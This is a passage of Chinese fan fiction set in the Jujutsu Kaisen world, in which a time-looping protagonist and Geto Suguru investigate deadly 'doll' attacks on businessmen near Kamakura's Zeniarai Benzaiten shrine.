自知自己强,却也不会蔑视他人弱——这一切在五条悟的眼里都仅是客观存在的事实,而非衡量感情天平的资本。 他会直白的指出这个事实,就像他会毫不客气吐槽不会用术式、不会感知咒力的羽取一真是个咒术笨蛋,但也从并不影响他和羽取一真是玩得很好的朋友。 大概很多人根本无法接受自己其实很弱的真相,才会觉得五条悟是个毫无礼貌、嚣张又狂妄的家伙吧。 [怪物]、[自以为是]、[只为满足自己喜好的变态]——这类被悟轻描淡写说出口的话,羽取一真不会再允许听见第二遍。 无论是一周目,还是二周目。 “一真,一真一真——” 坐在宿舍里的羽取一真正在走神,被五条悟哐哐锤了两下木门,就直接吱呀一声打开了。 “我回来了!你看我拍到了什么?” 他整个人可以算得上是超级兴奋地蹦跶进来,柔软的白色毛毛跟着尽数往上一翘,又完全不打算乖顺的飘然落下——于是那头白毛就变成了乱七八糟的到处支棱,仿佛一朵开了花的蒲公英,正高兴得左摇右摆。 “啊,欢迎回来……拍到了什么?” 羽取一真的目光立刻就无意识的黏上去了,口中回应的话都化作了飘忽的本能,让五条悟正要挤过来的动作一顿,开始伸手扒拉自己的头发。 他此刻的内心颇有一种在意就输掉了,可不在意反而更不甘心的纠结。 用手指来回的认真梳了梳,又用掌心压平……压平……压不平,算了算了。 五条悟相信自己在之前的任务表现里超帅的,而且会在以后的任务表现里更帅——区区头发而已,他想看就看啦! 于是按照原定打算,五条悟挤在羽取一真身边坐下,给他看自己在五条家抓拍到的照片。 几乎全是五条家长老观看五条悟上整蛊综艺而气急败坏,露出各种失态行为的抓拍。 最后还有一张是他们发现五条悟在旁边对准他们拍个不停,气得上来抢夺手机但仍然失败的模糊定格,动作和表情都好笑得要命。 有[无下限]术式在,怎么说也轮不到这帮老家伙能抢成功他手里的东西嘿! 五条悟当时就哈哈哈的超大声嘲笑了他们一通,此刻看到同样乐不可支,倒在羽取一真的床上来回滚。 宿舍里配有书桌椅,但那是单人份,肯定挤不下两个人坐。 再加上羽取一真刚才是坐在床边接的电话,五条悟也当然是挨着羽取一真在床边坐下,给他翻照片看。 他自觉和羽取一真的关系早就相当亲近,完全不避讳在后者面前毫无形象。 至于为什么自己会对羽取一真格外有好感? 五条悟也思考过这个问题,发现它就像自己刚见面就觉得杰的单缕刘海很有特点那般,完全出于被感性那部分所支配的本心,根本不能像解数理公式那样,能通过精密运算来寻求正确的解。 但总之他的初印象没错啦,一真果然是和他很合得来的好友! “哎呀,这次的节目真是上的超值——” 终于笑够了的五条悟合上手机丢旁边,懒洋洋翻了个身趴在羽取一真的床上,还顺手扯过他的枕头来抱好。 “快开电视啦,我们来打游戏!” 五条悟的语气超级轻快,听起来就很有活力,好心情满分! 在他毫无顾忌的动作下,原本就松垮套在身上的衬衫被蹭得凌乱,下摆都稍微挪上去了些,露出的小半截腰身贴着床面,曲线流畅、肌理紧实,一看就是常年锻炼下的劲瘦有力,漂亮得更让人挪不开眼。 偏偏当事人还一无所觉,正伸长手臂去够放在地上那个装满游戏碟的小篮子,连带衬衫衣摆被扯得更朝上了些也毫不在乎,只专注用指尖一样一样将那些码整齐的光碟点过去,翻着找他和羽取一真今天要来玩哪个。 还边哼着不成曲调的旋律,边小幅度的摇晃脑袋,看起来是真的很高兴。 这可能是他在五条家待得最开心的一次。 真的很可爱,无论是漂亮大悟还是漂亮小悟……连表达高兴的举动也几乎一模一样。 想起那段公寓同住时光的羽取一真默然了片刻,才起身去开电视,把游戏手柄拿过来。 这套游戏机其实是五条悟买的,但上次来串门吃鱼汤泡饭时忘记带回去,索性就一直放在了他这里。 五条悟最后选出了上次他们没打完的双人闯关游戏,继续跟羽取一真奋战。 ——直到被响起的电话铃声打断。 “嗯?喂喂,夜蛾老师?有什么事情吗,我现在正在忙耶——” 五条悟正打到激烈的地方,索性开着免提将手机放在床上,边动作娴熟得搓出一个大招,和同样搓出大招的羽取一真齐心协力,瞬间给BOSS打掉了小半管血。 电话对面的夜蛾正道听着噼里啪啦传来的按键音,甚至能想象出这战况到底有多激烈。 “……悟,别以为我没听见你在打游戏。” 五条悟对此理直气壮。 “就是因为打游戏所以才很忙啦。” 这理由太充分,夜蛾正道无言以对——毕竟现在不是上学时间,打打游戏实在太正常了。 更别提,这家伙现在还多出一个兼职。 “事务所那边问你和一真能不能接收一次采访,就是上次你们……” “要!” 五条悟答得铿锵有力。 这么好玩的事情,根本不需要听全解释啦! “……到时不准提咒术界的事情。” 夜蛾正道捏了捏鼻梁,忽然感觉到了一种无言的心累……与不祥的预感。 第72章 “我看起来很笨吗?” 听到夜蛾老师的这句叮嘱, 五条悟很不满地撇起嘴。 “当然知道这不能对普通人提——会被他们当成怪人或者中二病吧?” 即使从小被五条家严加管教也经常偷溜出来、熟知当下流行文化的五条悟,当然也有了解过[中二病]这个词汇的定义。 “中二病?中二病是什么病?” 反而是夜蛾正道愣了下,没听懂这个单词的意思, “算了, 先不说这个。” “问题在于你之前抓捕诅咒师的行动太明目张胆了,目击者多得根本无法全部封口,而且瞬间就流传开了……警方那边只能尽力将你和一真扭转成是意外撞见凶手准备对主持人作案,于是愤而见义勇为,奋力打倒凶手……” 简直可以算是一本正经的胡说八道了一通,只管能圆上逻辑就没问题——所以才需要五条悟这边在采访时不能露馅, 绝对不能跟警方那边的通报有不一致的地方。 “知道啦知道啦。” 五条悟随口应道,眼睛半点也没离开还差半管血的BOSS。 “五条家那边允许你上电视吗?” 听着那态度相当敷衍的夜蛾正道叹了口气, 只能又问起五条家对于五条悟在普通社会上公然露面的态度问题。 “啊?谁要管他们的意见啊, 超烦人的。” ——夜蛾正道对这个回答可以说是毫不意外。 这就是为什么五条悟非要来东京高专上学的原因吧, 明明强到连身为老师的他也打不过的程度, 却非要从一年级开始上起,怎么劝也说不通。 既然如此, 夜蛾正道也拿出了老师对待学生的正常姿态,严肃叮嘱他们。 “听好了,到时会有台本先给你们,遇到不好回答的问题就含糊过去, 千万不要透露太多信息——无论是咒术界的, 还是你们私人的。” “知道啦知道啦——” 挂掉电话的时候,五条悟还冲羽取一真歪了下脑袋, 以示自己真是超不解。 “夜蛾老师怎么这么紧张兮兮的,我们又不是第一次出门的幼稚园学生。” 从他这边的视角看来,这不过就是又一次“上节目”而已啦——只是这次上的是采访节目, 而不是整蛊节目而已。 “是啊是啊。” 羽取一真也跟着赞同。 ……这两人目前都还没有上网,对自己如今在普通社会上的爆火程度根本就是一无所知。 不过,采访的时间还需要商定,羽取一真和五条悟还是需要先按部就班的上课以及做任务。 大概是发现羽取一真甚至还不会使用自己术式的关系,五条悟在后面两次的任务上格外关照他。 虽然五条悟在回五条家的时候,顺便还去翻了藏书室,将有关[十方]和[摩诃]的相关释义都找给他看过。 [十方]的核心在于空间,[摩诃]则更类似于一种描述“大”、“伟大”、“无量”等等词汇的形容词。 所以重点还得放在空间上——但即使五条悟很努力的将那些佛教用语释义都翻给羽取一真看,还解释的头头是道,甚至用手指点着他额头,往人身体里灌了点咒力让他体会,依旧得到了那双沉默的、茫然的黑瞳。 以及乖巧的、心虚的,带着分外坦诚的无辜感。 五条悟:………… 可恶啦,真的是个超级没天分的咒术笨蛋后辈! 那副气呼呼的、超级不甘心的表情,都快让羽取一真犹豫“要不就完成那个委托,解锁下术式,到时候就用来夸是漂亮小悟教得特别好”了…… 但羽取一真的委托还没确定要不要做,就先得到了另一个结果——哪怕是安排给他们二人,甚至可能是以让他熟悉流程为主的三、四级任务——都完全没有他出手的机会。 跟一周目的漂亮大悟会特意留最后一击让羽取一真收尾、以便最高效率地攒【咒力结晶】的举动不同,漂亮小悟每次都是干净利落的一击结束战斗,咒灵瞬间被捏扁成拧干的毛巾,而后哀嚎着消散。 半点让他补刀赚结晶的余地都不给。 羽取一真本来想要委婉向他坦诚一下这件事的,但看见五条悟神气又骄傲的冲他比出拇指,好似在邀功般开心喊着“这次也顺利收工唷——”,然后跟他碰拳时…… 羽取一真默默把“我来用[黑闪]祓除咒灵也可以,还能涨咒力”的话咽了回去。 反正他也不差这一两只咒灵……等下次再提前和对方说吧。 结果第四次出任务时,夜蛾正道把他们分开了。 “一真,我要和一真出任务!” 羽取一真还没开口,五条悟率先抗议。 “这是你的个人任务,” 夜蛾正道将那份文件报告放在五条悟面前,又特意强调了一遍。 “你一个人的,一级任务。” 真是的,前几次只是让他带羽取一真熟悉下祓除流程,怎么还黏上了,以这小子的实力,出个普通的任务还需要搭档? 再说,羽取一真目前还是个四级咒术师,根本没有应对一级任务的实力吧。 五条悟:“…………” 实力差距太大,组队失败。 很不爽但没办法,一真的生命安全更重要。 哪怕他有自信能够保护住对方,也不能贸然把人带去那么危险的场地。 见到五条悟乖乖接过那张纸,夜蛾正道也终于松了口气,转头看向夏油杰。 “杰,这次的任务是你和一真,来自上层的指名。” 五条悟当场就先“哈!?”出了声。 一听到[上层指名]这句,羽取一真就忍不住在心底翻白眼——果然这个教祖跟咒术界高层熟悉得很,这就开始刻意给他们制造接近机会了! 只有夏油杰愣了下,很礼貌的问道。 “为什么会特意给我们指名任务?” “嗯,大概是这次的任务从表面来看,和你的[咒灵操术]有类似的地方。” 夜蛾正道点了点头,给他们解释道, “最近在神奈川那边出现了人偶袭击事件,[窗]将详细情况上报时,根据唯一侥幸存活的那位目击者证词,那些袭击他的人偶模样长得极为猎奇,甚至可以说是恐怖。” “夜蛾老师的意思是,那些人偶其实是咒灵?”夏油杰的神情认真起来。 他的术式是[咒灵操术],可以将降服的咒灵吸收并操纵自如。但如果也有人和他拥有同样的术式,且用于作恶的话…… “我不确定,毕竟也很有多驱使咒灵的式神使。” 夜蛾正道摇了摇头。 “何况,也有人就是喜欢模样猎奇又恐怖的人偶,然后驱使它袭击受害者。” “确实,”五条悟一点也不小声的嘀咕道,“夜蛾老师的[傀儡操术],就是喜欢拿毛毡戳一些猎奇又不可爱的人偶,然后控制它们到处揍人……” 夜蛾正道的额角一跳:“…………” 拳头有点痒了,好想揍这个臭小子。 “总之,你和一真得去一趟神奈川,搞清楚真相。” 最后,夜蛾正道拍板道。 “根据报告分析,这次的事件大概率是诅咒师犯案,之所以指名一真和你一起去,是他上次正好和悟处理过一次类似的案件,比较有经验。” “是。” 夏油杰认真接下这个任务,看向羽取一真的时候,正好对上那双望过来的幽深黑瞳。 “……” 那种背后发毛的感觉又浮现了。 ………… 关于这次的任务安排,三个人都微妙的有点意见。 只有家入硝子表示了高兴,因为她终于可以享受这次的周末,而不用苦哈哈的跑到外地出差去了。 五条悟也没有真的采取什么实质性的抗议,甚至连出发的行动都很迅速。 ——玩闹归玩闹、任务归任务,他一直分得很清楚。 尤其是羽取一真还承诺会给他带伴手礼回来。 至于羽取一真和夏油杰,站在约好碰头的校门口准备出发时,夏油杰总感觉有种微妙的不自在。 就像是一条鱼被放在砧板上,正衡量从哪里下刀比较方便似的…… 不对不对,他怎么这样往恶意的方向揣测同学,尤其是他能和悟相处很好的情况下。 甚至更有可能是反过来,对方看见他这种不怎么偏向主流审美的着装风格,会误以为他不好相处、进而想要远离吧。 而且他自从入学以来,确实没怎么和对方有过交集。 “你…你好啊,一真。” 他开口时卡壳了下,到后面再开口时,就变得流畅许多。 “辅助监督说他会在神奈川等我们,那我们就直接出发吧。之后的任务还要麻烦你了。” 羽取一真淡淡吐出一个“嗯”字。 他一直在心里对自己默念,不能动手。 首先,他只有四级,技能只有[黑闪],基本不可能打得过对方。 其次,他还要找到教祖的真正身份,把那家伙干掉。 最后,他还要把反派的大本营——盘星教和咒术界高层都干掉,直到完成当初的设想。 ——让悟当上总监部首座,并支持他的一切改革。 这个由他制定出来的三步走计划,显然不允许他在这里就直接对着教祖大人点名要他接近的夏油杰发难,违抗命令。 听起来很麻烦,但这就是他来玩二周目的唯一目标。 “哪里,我要麻烦你才对。” 羽取一真开口,“毕竟当时的线索都是悟找到的,我连打下手都算不上。” 他纯粹是被强行抓过来的壮丁,就为了给他制造取信夏油杰的机会。 “有点谦虚了喔。” 夏油杰笑了笑,显然没有相信羽取一真的实话实说——不过,他也为对方终于愿意多说几个字而稍微松了口气。 “我和你同样,是非家系的咒术师,父母都是普通人。” 为了让气氛别又滑向冰窟,他主动介绍起自己。 “之前虽然清楚自己能看到别人看不见的诅咒,本能地去吸收那些成型的咒灵,但要说是系统性的学习咒力,也是从入学高专开始的。” “我的术式是[咒灵操术],能将咒灵变成一颗咒灵球,只要吃下后就可以自由操纵它了。” “…………” 能听出夏油杰主动示弱交好的意思,但完全没办法介绍自己的羽取一真沉默了。 要怎么说,自己是压根不受重视的【盘星教圣子】,目前接到的任务是接近他获得信任,大概率是为以后拉拢他加入反派而提前打下基础? 想了想,羽取一真只能这么回答道。 “我……也吃从咒灵身上掉下来的东西。” 夏油杰:“……?” 夏油杰:“!!” 第73章 “你…也吃?” 夏油杰的眼睛明显亮了起来, 那是一种找到同好的热切,甚至还带着天然的亲近感。 就像是突然知道这吞咒灵球的苦,原来不是只有他一个人能体会到那样;明明咒灵球依旧难吃, 夏油杰此刻的心情却轻松了起来。 “……嗯。” 羽取一真慢吞吞应了声——因为他突然想起一件事。 夏油杰的术式是把咒灵搓成咒灵球, 然后自己吃掉。 这就意味着咒灵不能被他祓除。 可如果不被他祓除,哪来的【咒力结晶】掉给他吃?? ……果然是一周目同归于尽的可恶反派,连吃咒灵升级的机制都在和玩家过不去。 算了,这次的任务大概率是诅咒师作祟,应该不至于会有他们互相抢咒灵的局面出现。 羽取一真顺便打开【委托】界面,发现夏油杰对他的信任度一下就涨了10%, 变成了12%/80%。 只是因为他们都能吃咒灵? 羽取一真有点点沉默。 这未来反派的信任度有点好刷啊……明明按照一周目的连环算计来看,怎么分析都是相当狡猾且多疑的类型。 如果不是他在最后解锁了对方情报里没有的领域展开, 甚至可能会被无伤杀死。 而此刻…… 羽取一真抬眼重新看向夏油杰。 这份温和、谦逊, 甚至是在对他释放善意的姿态, 与记忆中那份自黑暗深处浮现的狡诈远谋相差甚远, 可以说连半分熟悉的影子也见不到。 ……是敌人太狡猾,还是玩家太迟钝? 首先排除玩家太迟钝。 羽取一真收回目光。 “只是一种提升实力的手段……走吧。” 比起做委托, 他更想快点完成任务回来,带着漂亮小悟喜欢吃的伴手礼,看他高兴得连又大又圆的苍瞳都弯起来,冲自己露出超灿烂的、毫无阴霾的笑意。 28岁的悟虽然仍然对这世界抱有探索与亲近的好奇心, 常年压在身上的责任感却不再允许他拥有年少时那无忧无虑的活泼与恣意。 羽取一真看过悟写的那些任务报告, 极为熟练的落笔,按照模版写出那些中规中矩的事件过程描述, 简单、利落,剥离了所有情绪。 而非15岁的悟,还会将在这任务的每一分令他高兴的细节写进报告里, 连每一笔都是值得珍惜的,甚至恨不得在旁边配上他的Q版自画像,来表达当时的心情。 就像他也会蹲下身,指尖轻摸过路边沁着露水的柔软花瓣,却并不会摘走它。 好不容易才努力开出的漂亮小花,被摘走的话会枯萎不说,只有我能看见也太可惜啦。 那双苍瞳转过来看向他,骄傲又得意地眨了眨眼,好像在说——能欣赏到这朵绽放的花,他就已经很幸运了喔。 而跟着蹲在他身边的羽取一真,并没有在看花,却又似乎在看花。 ………… 羽取一真和夏油杰要去的是位于神奈川的镰仓,一座人口不足二十万的小型海滨城市。 但它又是相当著名的旅游景点,每天往来的游客络绎不绝,连带搜查事件相关线索的难度也很高。 由于占地面积不大,这里的街道相当拥挤且狭窄,电车轨道、人行道与机动车道几乎都挨在一起,盘旋蜿蜒在这座临海又靠山的高矮建筑间,不时就会响起电车经过的警鸣声,而行人却好似见怪不怪,除去举着相机的游客会好奇转头外,都不会有多少人侧目。 夏油杰拿着那份任务情报,站在原本约定好、但此刻空无一人的街头,正在和辅助监督打电话联系。 羽取一真边等着他们沟通完,边低头在给五条悟发邮件。 [这里有倒挂列车,轨道安在列车头顶的那种。] [什么!?我要坐,下次一起来坐——] [好。] 在这个智能机尚未发明的时代,没有LINE的他们依旧可以通过邮件往来,互相都回复得超快。 甚至也不妨碍五条悟在每句话的后面带上简单但可爱的颜文字,就像在拖长着尾音撒娇般,既期待又兴奋,寥寥几个字符就能勾勒出Q版小悟的精髓。 “咦?啊……没关系……您没有大碍吧……啊好,请好好休养……嗯,任务的事情交给我们,您不必太过担心。” 身边的夏油杰目露诧异,又简单聊过几句后才挂断电话,对羽取一真解释的语气也变得相当无奈。 “新石先生说他在开车来这边的路上不小心被撞了,人没有大碍,就是右腿骨折了,正在医院里打石膏。” 羽取一真:“……………” 羽取一真发出淡淡一呵,见怪不怪。 “我知道了,那就这样出发吧。” 这教祖大人的小伎俩真是一个接一个,非得把他们两个单独放一块才罢休。 比起眼前这个看起来着装叛逆、言谈举止间却挺和善的夏油杰,倒是那位教祖大人出手的计谋,给他一种一周目夏油杰的诡异既视感。 羽取一真如此平静,堪称冷漠的反应,反而让夏油杰有点困惑的看了他好几眼。 但羽取一真并不在乎夏油杰怎么想,就像他也根本不在乎这次委托能不能完成一样。 “我们先去哪个袭击地点?” 羽取一真问夏油杰,“先说好,我看不见咒力残秽。” 夏油杰愣了下,“看不见?” “完全看不见。” “其实……” 见夏油杰想要说什么,羽取一真抢先一步开口:“悟已经尝试教过我了,还是不会。” 夏油杰:“………” 啊这。 原来这位看似冷酷无比、充斥着生人难近气场的黑发少年,竟然连咒力残秽也看不见? 也就是说,对方大概率是比自己要弱小的咒术师吗…… “没关系,如果到时有诅咒师留下的咒力残秽,我来负责追踪就好。” 夏油杰的声音放得更加柔和,似乎已经将羽取一真划入了他需要保护的范围内。 “不用太有心理压力,我刚接触这些咒力相关知识时,也不怎么擅长。” 甚至还开始安慰他——也不知道说的这些话到底是真是假。 羽取一真听得有点沉默。 然后他打开了游戏的【委托】界面。 【当前触发委托: 酒见绫子的指示:请在规定时间内,让夏油杰对玩家的信任度达到80%。 夏油杰的信任度:21%/80%。 奖励:获得技能<术式顺转·裂>。】 ……这未来反派的信任度是不是有点太好涨了? 羽取一真关掉浮窗,又默默看了眼夏油杰。 大概是他长时间没有回应,对方甚至表现得有点忐忑起来,似乎在担心哪个字没说对,伤到了他的自尊心。 真是没必要,像悟那样惊叹着说没想到他是个咒术笨蛋,反而表现得率真又自在,让他觉得很可爱。 不过,大多数人应该都是像夏油杰这样的类型吧。 为了能融洽的随大流、博得对方好感,担心自己受到排挤与敌视,所以会很在意态度和话语,小心斟酌每一个说出口的字。 但现实世界的羽取一真就没在意过别人的目光与看法,此刻同样毫不在意。 “没关系,你不用太在意。” 停顿片刻,羽取一真才又补充一句。 “我能对付敌人。” 听到黑发少年的语气与刚才没什么区别,夏油杰心底悄悄松了口气。 “那就太好了,” ——将注意力放回任务的他翻了翻那叠资料,取出其中一张。 “咒力残秽会随着时间逐渐消散,无法一直留在现场。我们先去唯一幸存的受袭者那里,询问下更详细的描述吧。” “但悟在上次电视台的任务里,”羽取一真想了想,“甚至能看出缠绕主持人和受害者妹妹身上的咒力残秽。当时那个诅咒师,已经有一周以上的时间没有动手了。” 言下之意是最后那起袭击事件的发生才不过三天,怎么不直接去现场看咒力残秽? 听懂羽取一真表达的意思,夏油杰也不禁卡壳了下。 “悟的眼睛和我们不一样,对咒力极其敏感。” 他指了下自己的眼睛,给羽取一真解释道,“很多我们已经无法分辨出来的细微残秽,在他眼里也像烛火一样明亮。” “所以像这种追踪残秽的任务,原本是应该由他来的,找到元凶也会相当便利……” 在大多数时候都沉默以对的黑发少年,却在听懂这其中的缘由后,蹙着眉打断夏油杰的话。 “没有应该。” 夏油杰下意识“嗯?”了一声。 “事件是随机出现的,并不是针对悟而设计的。” 想起一周目的悟那每天只能睡三个小时、时常还只能在车内眯眼打盹的高强度作息,羽取一真的声线逐渐转冷。 “不能因为悟可以解决,就说出[应该由他来]。因为悟的实力能够解决这件事,就理所应当的将这句话说出口,简直像在说这本来是属于他的责任。” “悟只是一个人,拥有的时间和精力,都是和普通人相同的。能够接的任务数量,也是有限的。” “如果我们不幸在这场任务中丧命,莫非死前也要怪罪说[要是一开始就由悟来好了,他来解决就肯定没有问题]吗?” 那双黑瞳安静的、极为安静的盯着他,连说话的口吻也没有波动,反而令夏油杰的心脏一跳,没能说出半句回应的话。 就是这样一点一滴的细节,逐渐把悟推向了被称为[怪物]的另一侧。 “……走吧,就算看不见咒力残秽,我也有自己的办法找元凶。” 在短暂的安静中,羽取一真率先偏过视线,望向他们最初来到镰仓时,经过的警察署方向。 “像这种发生在一座城市内的连续凶杀案,刑警的行动同样迅速,且他们办案经验丰富,只会调查得比我们更专业、更细节。” “所以,我们先去警署。” 第74章 说是要去警署, 羽取一真还需要先给那位新石先生打去一个电话,让他帮忙联络警署那边,好让他们等会过去的时候, 不会被当成来恶作剧的当地不良。 这个[不良], 主要指发型奇怪、带着耳钉,制服裤还被改造得很有不良范的夏油杰。 夏油杰:“………” 他刚还觉得羽取一真是实力弱小、需要他多加关照的同学,结果转眼就被上了一课。 而且,他根本无法反驳这点。 不过,看在夏油杰认真道歉的份上,羽取一真也没有再难为他。 如果像一周目见到的那个禅院家所谓的未来家主, 嘴又臭又犟的话,他就选择用[黑闪]直接呼脸了。 管它什么信任度不信任度的, 忍不了一点。 悟能成为最强是靠他的努力, 不眠不休的做任务是他的自愿, 但不等于其余人能把这些事情当作他应当履行的责任, 动辄开口就说一句[应该]。 在等新石先生的通知里,羽取一真不打算继续和夏油杰聊天, 而是低头继续在邮件里编辑内容。 [我看到这里的沙滩上有人打排球,还可以捡贝壳。] [哇,我也要和你去打排球、捡贝壳——] [好。] 过了一会儿,新石先生打电话来说可以过去了, 那边会由石上先生负责接待, 羽取一真便立刻和夏油杰动身,打车前往警署。 反正这些开销都算在任务经费里, 之后也可以让高专报销。 到达警署的一楼大厅时,接待的警员小姐姐见到两位未成年朝她这边走过来,认真又诚恳的说来找石上先生来了解案情细节时, 差点以为他们是来恶作剧的当地不良。 “平时报假警还不够,竟然直接过来戏弄警察?” 警员小姐姐故意用很生气的口吻对他们教育道——主要看着夏油杰。 “不要以为我们看你未成年,就不会采取惩罚性的措施哦?听明白了就快走,记住以后不准再搞这种没有意义的恶作剧了。” 羽取一真也跟着将目光转向他,话外之意很明显。 看吧,就说你的着装风格很容易让人误会。 夏油杰:“………” 他在上初中的时候,明明也算是在女生中挺受欢迎的类型…… 幸好他们僵持没一会儿,负责这起事件的刑警——石上先生就立刻来大厅把他们接走了。 “是夏油和羽取吗?没想到你们这么快就过来了,抱歉啊,本来说整理完手头新找到的线索就出来接你们,结果一时间入迷,不小心忘记了。” 石上刑警穿着件满是褶皱的外套,头发凌乱,下巴胡茬细细密密的冒了一片,根本没有时间打理自己。 看他眼下青黑的模样,大概这几天根本没有回去休息,直接睡在了办公室。 “啊抱歉,是我们没有提前打声招呼就冒昧前来……如果现在方便的话,还请务必讲一下您目前的发现,哪怕只是大概也好。” 夏油杰主动承担起了沟通的这部分,对石上先生说道。 “不用这么拘谨,我们现在是合作关系。” 石上刑警笑了笑,伸手拍了下夏油杰的肩膀。 “上面和我说你们能解决问题,让我全力配合你们。老实说这听起来很不可思议,毕竟你们看上去和我家孩子也差不多大。但谁知道呢,毕竟这起案件确实诡异,而我也从来不会小看人,否则就没办法干这么多年的刑警了。” 很多凶手在逮捕的时候,总能看见报道上说[邻居都说他是个很和善的人]、[同事都说他是个没和人起过冲突的老实人]、[亲戚都不相信会发生这样的事]之类。 但很多时候,真相往往就是这样藏在了毫不起眼的人身上。 石上刑警说完这句话,也不打算再客套下去了,而是带着他们来到办公室的一角。 那里挂了块贴有镰仓地图的白板,地图上则分区域画了好几个红圈,旁边贴上受袭者照片、个人资料、时间,相当清晰且有条理。 比起夏油杰拿在手里的那份需要自己整理头绪的任务资料,石上先生将关键线索用图钉与红线串联起来,一目了然。 “那么,现在我大概和你们说一下情况。” 在办案方面雷厉风行的石上刑警,清了下嗓子就直接开讲。 镰仓不仅是座旅游城市,宗教氛围也相当浓厚——沿着靠海的那条电车轨道,途中分布着各种神社与密宗寺。 甚至可以称得上密密麻麻。 而这次的人偶袭击事件,受害者都是倒在距离这些神社与寺庙的不远处,时间都为深夜,不仅死状极凄惨,法医还根据肺部的解剖结果,判断他们生前肯定在某处溺过水。 受袭者有一个明显的共同特征——即将破产、又突然翻身的企业家。 按理来说,这样的企业家身边往往应当有司机、保镖或者助理跟随,哪怕被某人蓄意报复,也不该集体出现这么诡异的死法。 唯一那个存活下来的受袭者,也由他口述、石上刑警委托专人绘制了一副所谓的凶手画像。 夏油杰和羽取一真看向石上刑警展示的那张画像。 不正常扭曲的四肢、残缺鼓胀的面部、极为不协调的身体比例。 怎么看都像是咒灵,而不是人偶。 有没有可能其实就是咒灵,因为普通人在濒死时候也能见到咒灵,但他不知道这是咒灵,所以误以为是什么都市传闻里的人偶? 羽取一真用眼神朝夏油杰示意。 但这句话也太长了,他那双黑瞳又惯常没什么情绪,除了五条悟总是能很敏锐的发现他在想什么,夏油杰可猜不出来。 于是,接收到暗沉沉目光的夏油杰只能侧过身体,小声问羽取一真:“怎么了?” 羽取一真:“………” 真是没默契,好歹他这次拿的也是反派剧本。 他只好先对夏油杰微微摇了摇头,表示等会出去说之后,才对这石上刑警礼貌问道。 “石上先生,你在地图上做的那几个标记,是怀疑凶手可能在那里吗?” “嗯,我怀疑凶手下次会在某座神社或寺庙附近出现。” 石上刑警的手指划过那几道连起来的红线——他的动作熟稔,对案件的任何细节都信手拈来,却是靠不眠不休调查、走访、汇总、分析,才得到的结果。 这些线索如果让羽取一真和夏油杰这个没来过镰仓的人去逐个收集,然后分析出相同的猜想,还不知道要多久。 “按照遇难时间的规律,应该是今晚。” 说到这里,石上刑警摸着下巴的胡茬,陷入纠结。 “就是不太确定到底是哪座神社或寺庙啊,镰仓的神社和寺庙也太多了,我们的警力不够布置啊。” “原来如此,我们清楚了。” 夏油杰起身,朝石上刑警感谢道。 “您的调查真的很有帮助,我们会立刻展开行动,确保今后不会再出现受害者。” 石上刑警立刻警觉。 “你们知道凶手下一次袭击的地点?” 夏油杰沉默片刻,委婉开口回答道。 “只能我们去解决。” 石上刑警还想再问,又想起上面人说的话——只要对方没要求,就不要插手他们打算做的任何行为。 “好吧。” 他皱起表情,很不放心的叮嘱道。 “如果有任何需要帮助的地方,尽管开口。” 不仅如此,石上刑警还一路将人送出警署,一路上都在碎碎念要他们小心点。 夏油杰只好一直维持着脸上的微笑,向石上先生保证他和羽取一真都会没事的。 “唉,是我年纪大了吗?都搞不懂上面到底怎么想的了……” 站在大门处的石上刑警叹口气,回头就看见之前招待过夏油杰和羽取一真的警员小姐姐正盯着他们离开的方向,似乎也在沉思。 “怎么了,你认识他们?” “我只是听到你刚才喊羽取,突然想起最近很火的一对组合。” 警员小姐姐迟疑片刻,变得更加不确定起来。 “应该不会这么巧吧……” ………… 与此同时,在赶路的夏油杰也向羽取一真说出自己的猜测。 “是弁财天神社。” “我在来这里前就了解过,镰仓的弁财天神社和其余地方的不同,拥有一种名为[钱洗]的特别仪式。” 传说据此数百年前的一个夜间,管理此地的大名梦见了七福神之一的弁财天神女,并遵从她的指引,在某处岩壁中凿出了清澈的灵水。 从此之后,在灵水里洗过硬币并许愿的百姓纷纷生活富足、衣食无忧,便特意建造了神社来供奉弁财天。 而如今的游客与当地居民,也会遵照传统,在这座神社的水池里洗硬币,投入布置在中间的功德箱内。 “而那些死者,” 夏油杰停顿了下才继续道。 “很像是被洗过的钱币。” 所以才会出现溺水,又被某种怪力强行挤压在一处、连骨骼也破碎的凄惨死状。 羽取一真:“………” 听起来相当诡谲,但仔细一想又挺合理。 羽取一真:“可这有什么好处?” “不同的诅咒师手段也不一样,我不太确定。” 夏油杰想了想。 “按照我个人猜测,他们借助那些从古时流传至今的仪式,可以更便捷的达成某些目的。” 就像是根植于大众心底的都市诡闻,一旦传开就更容易孕育出极强大的咒灵那般,根本不在乎普通人死活的诅咒师也喜欢走这些捷径。 “当然,也存在另一种可能……” 至于那位诅咒师到底有什么目的,夏油杰也不确定。 但无论怎么说,他们有了进一步追查的方向—— 弁财天神社。 第75章 弁财天神社不仅要坐到电车轨道的末站, 还需要额外搭乘观光缆车去半山腰。 等羽取一真和夏油杰赶到弁财天神社时,已临近黄昏。 游客正零零散散的离开神社——海边的沙滩在下午六点后允许放烟花,一到晚上, 就能看见那无数簇被点燃的绚烂花火。 顶着不时有人好奇望过来的目光, 羽取一真和夏油杰先来到钱洗池。 这里流动的是不是灵水两说,但肯定很吸引财富。 往这清澈见底的钱洗池里望去,底部密密麻麻铺了一大片的日元硬币。 钱洗池中央还伫立着一个并不大的功德箱,据说将钱币用灵水洗过后,如果能准确投入功德箱内,那么许下的心愿就必定会实现。 这时候, 钱洗池边已经没有其余游客了,羽取一真便直接问夏油杰。 “有发现吗?” 夏油杰似乎在认真盯着这座水池, 过了半晌才冲羽取一真点头。 “能看见隐约的一点咒力残秽, 快要彻底散干净了。” 也就是说, 至少这座神社肯定有问题。 能这么快理清事件的头绪, 夏油杰紧绷的神经也放松了些,才想起之前在警察署的时候, 羽取一真似乎有话要对他说。 “之前在石上先生那里,你是不是想说什么来着?” “嗯。” 羽取一真大概复述了下自己之前的猜想。 “是说可能和诅咒师没关系吗……” 在咒力知识方面,同为非家系术师的夏油杰和羽取一真可能掌握得差不多;但对于咒灵的了解,术式就跟它有关的夏油杰经验要比羽取一真丰富许多。 “受害者的死状特征高度统一, 时间极为规律, 地点虽有规律、却并不固定——与普通咒灵的无差别屠杀完全不同。” 夏油杰沉思道,“如果这是咒灵作祟, 那至少得是特级的程度才行。” 羽取一真:“必须要特级?” 夏油杰点头:“嗯,准一级以下的咒灵不会使用咒术,攻击手段也相对单一, 更别提产生可交流的灵智了。要做到这种近似于筛选咒杀的程度,我推测必须要是特级以上才行。” 如果是过于强大的咒灵,不仅自身会携带生得领域,可使用的咒术也与术师所拥有的术式无异。 而准一级咒灵和二级咒灵的分水岭,就在于[是否会使用咒术]。 